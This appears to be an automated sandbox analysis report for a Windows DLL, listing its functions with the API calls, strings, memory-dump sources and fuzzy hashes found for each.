RegCloseKey.ADVAPI32(?), ref: 6E8FD720
RegCloseKey.ADVAPI32(?), ref: 6E8FD748

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$Enum$HandleModule
String ID:
API String ID: 2852649468-0
Opcode ID: 8d6340ae641e7e5047c3be0cb34c28a3aaa8c128a0bd6d572394cc4ab6d58d71
Instruction ID: 88184b401c0694583ff913e40202cc02c86dbee818dd6041dd7625fa6b9f3130
Opcode Fuzzy Hash: 8d6340ae641e7e5047c3be0cb34c28a3aaa8c128a0bd6d572394cc4ab6d58d71
Instruction Fuzzy Hash: 71417FB22083059BD710DFA4D854BABB7E8EF98754F00492EF999D7280DB74D905CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 6E8FF4C0, Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 351COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(6E8F0000,?,00000104), ref: 6E8FF6AC
GetModuleHandleW.KERNEL32(00000000), ref: 6E8FF864

Part of subcall function 6E8F7B50: RaiseException.KERNEL32(?,?,00000000,00000000), ref: 6E8F7B5D

Strings

REGISTRY, xrefs: 6E8FF969
Module, xrefs: 6E8FF911
Module_Raw, xrefs: 6E8FF93C

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Module$ExceptionFileHandleNameRaise
String ID: Module$Module_Raw$REGISTRY
API String ID: 1728487212-549000027
Opcode ID: 95715da26ca83f4d862ff7fb14de0064ea4cbdf67f599e20eb6f6a83b7bccb1c
Instruction ID: f6b566f601827f04c072c79b9e1f81ec401b54d452516d08e20b90ddafadf18a
Opcode Fuzzy Hash: 95715da26ca83f4d862ff7fb14de0064ea4cbdf67f599e20eb6f6a83b7bccb1c
Instruction Fuzzy Hash: 3FD1A275A00225CBDB649FA4DC50BDEB378BF65344F1009A9D80EA7680EB74DE46CF82

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F5BB0, Relevance: 9.1, APIs: 6, Instructions: 90windowCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 6E8F5BCB
GetMenuCheckMarkDimensions.USER32 ref: 6E8F5C12
CoUninitialize.OLE32(?,6E8F6387), ref: 6E8F5C5A
GetForegroundWindow.USER32(?,6E8F6387), ref: 6E8F5C79
GetSystemDefaultUILanguage.KERNEL32(?,6E8F6387), ref: 6E8F5CD8

Part of subcall function 6E8F5D10: GetMessageExtraInfo.USER32(00000031,?,?,?,?,?,?,6E8F5CF8,?,6E8F6387), ref: 6E8F5E0F
Part of subcall function 6E8F5D10: GetDesktopWindow.USER32 ref: 6E8F5E15
Part of subcall function 6E8F5D10: UnregisterApplicationRecoveryCallback.KERNEL32 ref: 6E8F5EA6
Part of subcall function 6E8F5D10: UnregisterApplicationRestart.KERNEL32 ref: 6E8F5EC0

AnyPopup.USER32 ref: 6E8F5CE8

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ApplicationUnregisterWindow$CallbackCheckCountDefaultDesktopDimensionsExtraForegroundInfoLanguageMarkMenuMessagePopupRecoveryRestartSystemTickUninitialize
String ID:
API String ID: 4182693304-0
Opcode ID: aa47547ae732114ba4aa45084e5c43df4a9b4475f9bae866d22145c4339401e3
Instruction ID: 8a4b9bbf79aa2ee15b8d316a49fa60be16a50629e202d5e36406841c7948074a
Opcode Fuzzy Hash: aa47547ae732114ba4aa45084e5c43df4a9b4475f9bae866d22145c4339401e3
Instruction Fuzzy Hash: 35319172839F08CFDA13EFB68415285B668BF677C9B20CB13A90776092EB1514C3C601

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F5F20, Relevance: 9.1, APIs: 6, Instructions: 79threadwindowclipboardCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,00000031,0000004F,?,?,?,?,6E8F5E78,?,?,?,?,?,?,6E8F5CF8), ref: 6E8F5F67
IsProcessDPIAware.USER32 ref: 6E8F5F6F
CoFreeUnusedLibraries.OLE32(?,?,?,?,6E8F5E78,?,?,?,?,?,?,6E8F5CF8,?,6E8F6387), ref: 6E8F5F80
GetFocus.USER32 ref: 6E8F5FB0
SetFileApisToOEM.KERNEL32(?,?,?,?,6E8F5E78,?,?,?,?,?,?,6E8F5CF8,?,6E8F6387), ref: 6E8F5FE3
GetClipboardSequenceNumber.USER32(?,?,?,?,6E8F5E78,?,?,?,?,?,?,6E8F5CF8,?,6E8F6387), ref: 6E8F6020

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ApisAwareClipboardFileFocusFreeLibrariesLocaleNumberProcessSequenceThreadUnused
String ID:
API String ID: 3457905144-0
Opcode ID: 4e71ed450877e47912e6bb8101ba67389e536abc3d39bb4c84f63a752010b3fe
Instruction ID: f12d93784eb1c6fe65279b96c1e1fb92cd1cff330e65df03c40d23d1438a3c9c
Opcode Fuzzy Hash: 4e71ed450877e47912e6bb8101ba67389e536abc3d39bb4c84f63a752010b3fe
Instruction Fuzzy Hash: 67213872C58F08CFC702DF78842425AF7ADAF9B3D4F009756E80167112EB6188938691

Uniqueness

Uniqueness Score: -1.00%

Function 6E909ACC, Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6E9081BC,6E904296,6E904919,?,6E904B51,?,00000001,?,?,00000001,?,6E939FC0,0000000C,6E904C4A), ref: 6E909ADA
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6E909AE8
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6E909B01
SetLastError.KERNEL32(00000000,6E904B51,?,00000001,?,?,00000001,?,6E939FC0,0000000C,6E904C4A,?,00000001,?), ref: 6E909B53

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: abd9e991bd0a62a12e104e5065c65cfbe5b3af39cc76e42d4c093a5fa2c26d3b
Instruction ID: 2901d2d9b1159653d2126871d8b9f0867e469c5d240c07dbf6432c82767d3e0c
Opcode Fuzzy Hash: abd9e991bd0a62a12e104e5065c65cfbe5b3af39cc76e42d4c093a5fa2c26d3b
Instruction Fuzzy Hash: AF014C7212EB115E9B5019F56C90F46376CEF83FB97A0073EE520551D0EF91C8129D40

Uniqueness

Uniqueness Score: -1.00%

Function 6E9005E0, Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 276COMMON

Download Yara Rule

APIs

Part of subcall function 6E8FAF10: SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?,?,A836F30C,?), ref: 6E8FAD57

ShellExecuteW.SHELL32(00000000,edit,?,00000000,00000000,00000001), ref: 6E900638
PdhRemoveCounter.PDH(?,?,00000000), ref: 6E9006D3
PdhCloseQuery.PDH(?,?,00000000), ref: 6E9006E8

Strings

0, xrefs: 6E900796
edit, xrefs: 6E900631

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCounterExecuteFolderPathQueryRemoveShell
String ID: 0$edit
API String ID: 2809573910-562573004
Opcode ID: fc8309ba45ba56c8ac39cfe36e9e185d16e45220f0a6a8d367422d7e66f91861
Instruction ID: 7e68decce20efa663fda8ffebd28dbbdaae004a3eae492c61716a88968dd691b
Opcode Fuzzy Hash: fc8309ba45ba56c8ac39cfe36e9e185d16e45220f0a6a8d367422d7e66f91861
Instruction Fuzzy Hash: E391F0716043128FE700CF68C894B9BB7A9FF95314F904A1CE9949B290E772E985CFD2

Uniqueness

Uniqueness Score: -1.00%

Function 6E91BE3B, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Windows\SYSTEM32\loaddll32.exe, xrefs: 6E91BE40

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Windows\SYSTEM32\loaddll32.exe
API String ID: 0-1872383224
Opcode ID: 86580a3b6a0fef2ac275233e8df3ea03d52ef60d16d21ce48df2f47f0afe0aae
Instruction ID: bcd7e61b8c178faa3eb279f0475a333f264d1e8cb8c61935858c826bc3f40b1b
Opcode Fuzzy Hash: 86580a3b6a0fef2ac275233e8df3ea03d52ef60d16d21ce48df2f47f0afe0aae
Instruction Fuzzy Hash: 8B21A17121C51EBFAB109EE6CC809D777BEEF553687014918E62496648EB31EC118FE0

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F2570, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 77COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 6E8F260F

Part of subcall function 6E90838E: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,00000000,24448D6E,6E9052C0,?,6E93A014,?,?,?,24448D6E), ref: 6E9083EE

Strings

ios_base::failbit set, xrefs: 6E8F24A5, 6E8F25B1
t, xrefs: 6E8F2570
ios_base::badbit set, xrefs: 6E8F25A7, 6E8F25D2, 6E8F25F3
ios_base::eofbit set, xrefs: 6E8F25B6

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set$t
API String ID: 3109751735-4201806346
Opcode ID: a286671f79aa0717894380a466b221f9135a1f52d7a4c48f5a82d8c130a7b900
Instruction ID: 7ca8d9302fe90ea7362ca2fb48dad626a14d44ce773900a910623df90933b45e
Opcode Fuzzy Hash: a286671f79aa0717894380a466b221f9135a1f52d7a4c48f5a82d8c130a7b900
Instruction Fuzzy Hash: EB1105B2910305AFCB50DFD8D811BC6B3DCAF59350F14892AE924DB680F774E9058F91

Uniqueness

Uniqueness Score: -1.00%

Function 6E90AB77, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,6E90AC38,00000000,?,00000001,00000000,?,6E90ACAF,00000001,FlsFree,6E92BE6C,FlsFree,00000000), ref: 6E90AC07

Strings

api-ms-, xrefs: 6E90ABC7

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: e1989c7e4ca90421c29aba0239ee9f57eb3547fa6a2a08321e0a4925d306dd13
Instruction ID: 7bf0115ccd64a0f0822c221d225b9825bb22c8f00685d6cfc592c348dc66068e
Opcode Fuzzy Hash: e1989c7e4ca90421c29aba0239ee9f57eb3547fa6a2a08321e0a4925d306dd13
Instruction Fuzzy Hash: 1511CA72A99625AFDF528AE88C40B4D33BDAF027B0F550518E915EB284D7F0ED008FD5

Uniqueness

Uniqueness Score: -1.00%

Function 6E900D20, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 39windowCOMMON

Download Yara Rule

APIs

InsertMenuW.USER32(?,?,00000C00,?,00000000), ref: 6E900D4A
InsertMenuW.USER32(?,?,00000400,?,Performance Monitor - (Reload Configuration)), ref: 6E900D5E
InsertMenuW.USER32(?,?,00000400,?,Performance Monitor - (Edit Configuration)), ref: 6E900D72

Strings

Performance Monitor - (Edit Configuration), xrefs: 6E900D60
Performance Monitor - (Reload Configuration), xrefs: 6E900D4C

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: InsertMenu
String ID: Performance Monitor - (Edit Configuration)$Performance Monitor - (Reload Configuration)
API String ID: 1478380399-4081388356
Opcode ID: 8c8269d5a911105c79eb59652eac6f935bb94bdb0b0505917f246b951dad11de
Instruction ID: b4a62dd4f6a28834fcbe7b4c6b9aa8f3d3d712e739787e42a22b8264f82a0f2d
Opcode Fuzzy Hash: 8c8269d5a911105c79eb59652eac6f935bb94bdb0b0505917f246b951dad11de
Instruction Fuzzy Hash: CAF03A3314421D7BEB11DEC59C80FBB7BACEF89620F148416FB14AA18182B5E9219FB4

Uniqueness

Uniqueness Score: -1.00%

Function 6E915019, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,6E914FCB,?,?,6E914F93,?,00000000,?), ref: 6E91502E
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6E915041
FreeLibrary.KERNEL32(00000000,?,?,6E914FCB,?,?,6E914F93,?,00000000,?), ref: 6E915064

Strings

CorExitProcess, xrefs: 6E915039
mscoree.dll, xrefs: 6E915027

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 4630c062deee204c1f3de8ff501c82bfafc7a2973a6d9095e2f2aa6950d6ef41
Instruction ID: 16141b2d33e80e9de5950cda6022924ccfbfbe1c16da03d77925a6795f9c4389
Opcode Fuzzy Hash: 4630c062deee204c1f3de8ff501c82bfafc7a2973a6d9095e2f2aa6950d6ef41
Instruction Fuzzy Hash: 3AF05E72524A18FFDF119AD1CE09BDD7B78EF46752F000064A909A6290CB75CE40DF90

Uniqueness

Uniqueness Score: -1.00%

Function 6E91DE6C, Relevance: 7.7, APIs: 5, Instructions: 200COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 6E91DEF0
__alloca_probe_16.LIBCMT ref: 6E91DFB6
__freea.LIBCMT ref: 6E91E022

Part of subcall function 6E91828C: RtlAllocateHeap.NTDLL(00000000,?,?,?,6E907EB3,?,?,24448D6E,00000000,?,6E8F18D7,?,?,?), ref: 6E9182BE

__freea.LIBCMT ref: 6E91E02B
__freea.LIBCMT ref: 6E91E050

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: d786786f1e6a403d3fde6ee2de15e2440350abdc18f62166d4ef7bf3fbf5b8cb
Instruction ID: 0a0f11e8096ebb42545c54d673ca4ffe8324463bad623647f8050edef683c687
Opcode Fuzzy Hash: d786786f1e6a403d3fde6ee2de15e2440350abdc18f62166d4ef7bf3fbf5b8cb
Instruction Fuzzy Hash: C951A0B251820FAFEB158FD48C40EFB36ADDF95655F110929FD14AB240E734DD918EA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E903460, Relevance: 7.6, APIs: 5, Instructions: 148COMMON

Download Yara Rule

APIs

PdhRemoveCounter.PDH(?,A836F30C,?,?,00000000,6E9290E0,000000FF,?,6E90083E,00000000), ref: 6E9034A4
PdhCloseQuery.PDH(?,A836F30C,?,?,00000000,6E9290E0,000000FF,?,6E90083E,00000000), ref: 6E9034BA
PdhOpenQueryW.PDH(00000000,00000000,00000000), ref: 6E9034E4
PdhValidatePathW.PDH(?), ref: 6E903547
PdhAddCounterW.PDH(00000000,?,00000000,?), ref: 6E90356E

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: CounterQuery$CloseOpenPathRemoveValidate
String ID:
API String ID: 698537007-0
Opcode ID: 73a3e234b43b6dbe66fb28d5654971466a2259950fc82983561bd46104687e9b
Instruction ID: 5fc52f6a3ea8b615eced61d7c3eba714f710a9bad1efb130935cd2cffd25b8e2
Opcode Fuzzy Hash: 73a3e234b43b6dbe66fb28d5654971466a2259950fc82983561bd46104687e9b
Instruction Fuzzy Hash: DB518D71900659AFDB20CFA4C845FDAB3B8FF54314F4086A9E959AB650D774FA80CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F5D10, Relevance: 7.6, APIs: 5, Instructions: 105windowCOMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 6E8F5DBF
GetMessageExtraInfo.USER32(00000031,?,?,?,?,?,?,6E8F5CF8,?,6E8F6387), ref: 6E8F5E0F
GetDesktopWindow.USER32 ref: 6E8F5E15
UnregisterApplicationRecoveryCallback.KERNEL32 ref: 6E8F5EA6
UnregisterApplicationRestart.KERNEL32 ref: 6E8F5EC0

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ApplicationUnregister$CallbackDesktopDrivesExtraInfoLogicalMessageRecoveryRestartWindow
String ID:
API String ID: 4237200097-0
Opcode ID: 015f40e2eb6b8d2d8ce778b21ce2bab32bb6a21ab1ec3cae58684d61500aa69d
Instruction ID: bca7413f75619c7a92c06d8982626ab3120eecadfcd5fbdddf63ad2876567663
Opcode Fuzzy Hash: 015f40e2eb6b8d2d8ce778b21ce2bab32bb6a21ab1ec3cae58684d61500aa69d
Instruction Fuzzy Hash: 6141D771C29F458ED657EBB4802209EF699AFA72C9B20DF26E412B5026EF6068D38540

Uniqueness

Uniqueness Score: -1.00%

Function 6E9021E0, Relevance: 7.6, APIs: 5, Instructions: 77threadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6E93DA58), ref: 6E9021EC
GetCurrentThreadId.KERNEL32 ref: 6E9021FC
LeaveCriticalSection.KERNEL32(6E93DA58), ref: 6E902219
LeaveCriticalSection.KERNEL32(6E93DA58), ref: 6E90223D
SetWindowLongW.USER32 ref: 6E902289

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$Leave$CurrentEnterLongThreadWindow
String ID:
API String ID: 4199534935-0
Opcode ID: 880208c90739726bb46aa6b82b49df1f99e7ac0bd293f5f968f68b81fac45f74
Instruction ID: f466b0039fa67d849859c32fc3fd7c16b1ebc12b4082700a8a19108e8fcadf34
Opcode Fuzzy Hash: 880208c90739726bb46aa6b82b49df1f99e7ac0bd293f5f968f68b81fac45f74
Instruction Fuzzy Hash: F221AE72608615AF8B149FE9A904D47BB6EFFC5370350892AF945CB701DB30D810DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E905A5C, Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6E905A6D

Part of subcall function 6E8F2200: std::_Lockit::_Lockit.LIBCPMT ref: 6E8F221D
Part of subcall function 6E8F2200: std::_Lockit::~_Lockit.LIBCPMT ref: 6E8F2239

codecvt.LIBCPMT ref: 6E905AA7
std::_Facet_Register.LIBCPMT ref: 6E905ABE
std::_Lockit::~_Lockit.LIBCPMT ref: 6E905ADE
Concurrency::cancel_current_task.LIBCPMT ref: 6E905AEB

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Registercodecvt
String ID:
API String ID: 3595785899-0
Opcode ID: 6e7d45e7cbbc5267d144dc8eff9b15f9c464d93b2672d6da9efdb34c3a538789
Instruction ID: 7ad98febc2ad503f263bd965d8714a8e3899c6b2be2481357757acf8f51d3785
Opcode Fuzzy Hash: 6e7d45e7cbbc5267d144dc8eff9b15f9c464d93b2672d6da9efdb34c3a538789
Instruction Fuzzy Hash: 85010032900219AFCF11DBE4C8406EE77A9AF90728FA0880CD811AB3C0CF74CE068F90

Uniqueness

Uniqueness Score: -1.00%

Function 6E9237CE, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6E9237E6

Part of subcall function 6E918252: HeapFree.KERNEL32(00000000,00000000,?,6E923A72,?,00000000,?,?,?,6E923D17,?,00000007,?,?,6E921D29,?), ref: 6E918268
Part of subcall function 6E918252: GetLastError.KERNEL32(?,?,6E923A72,?,00000000,?,?,?,6E923D17,?,00000007,?,?,6E921D29,?,?), ref: 6E91827A

_free.LIBCMT ref: 6E9237F8
_free.LIBCMT ref: 6E92380A
_free.LIBCMT ref: 6E92381C
_free.LIBCMT ref: 6E92382E

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 9f51b1718395335755160c334004570381bfa130c31b41bd4a119b62d0e9abc3
Instruction ID: 74e3c4821674f14e2f59e72352e04ee1cfbb90cfb3c8c11daf492e775af629bb
Opcode Fuzzy Hash: 9f51b1718395335755160c334004570381bfa130c31b41bd4a119b62d0e9abc3
Instruction Fuzzy Hash: AEF04FB151DA0A9B8E65DAA8E599CCA73DEFF91B543504C25F41CD7644CB20F8808E90

Uniqueness

Uniqueness Score: -1.00%

Function 6E9075F0, Relevance: 7.5, APIs: 5, Instructions: 26COMMON

Download Yara Rule

APIs

_com_issue_error.COMSUPP ref: 6E9075FC
GetLastError.KERNEL32(8007000E,?,?,?,00000000), ref: 6E907601
_com_issue_error.COMSUPP ref: 6E907614
GetLastError.KERNEL32(?,?,?,00000000), ref: 6E907622
_com_issue_error.COMSUPP ref: 6E907635

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _com_issue_error$ErrorLast
String ID:
API String ID: 1321852664-0
Opcode ID: 187bb0a1cb53f100d55b42a28226603f2db7c8bd64523dda4dc7d08ecb628118
Instruction ID: 02fe6388d05ffcb615a536970076f792c0ffe7d93979cfe9d8eab7366835c8a1
Opcode Fuzzy Hash: 187bb0a1cb53f100d55b42a28226603f2db7c8bd64523dda4dc7d08ecb628118
Instruction Fuzzy Hash: 94E0C2F04441569ACA007BF10D087EE304C2F22135FA04F0C7059E91D0EF2CC1028EFA

Uniqueness

Uniqueness Score: -1.00%

Function 6E90ED27, Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 498COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 6E90F036

Strings

A, xrefs: 6E90EDDD
:, xrefs: 6E90EDCE
Z, xrefs: 6E90EDE4

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldvrm
String ID: :$A$Z
API String ID: 1302938615-166580712
Opcode ID: cb17c4c434a95a3b2f1cf2d356038613afaa1bfd4b3e163747437c18db3b9980
Instruction ID: 420f92c5590fb2ab348998f4856cbdda6c6f7d04e201bbad215814b77a7a049a
Opcode Fuzzy Hash: cb17c4c434a95a3b2f1cf2d356038613afaa1bfd4b3e163747437c18db3b9980
Instruction Fuzzy Hash: 07F1EF7851410B9AFF50CBE4D890AE8B3B7AF50718BF8466ED9206B684D730CF898F15

Uniqueness

Uniqueness Score: -1.00%

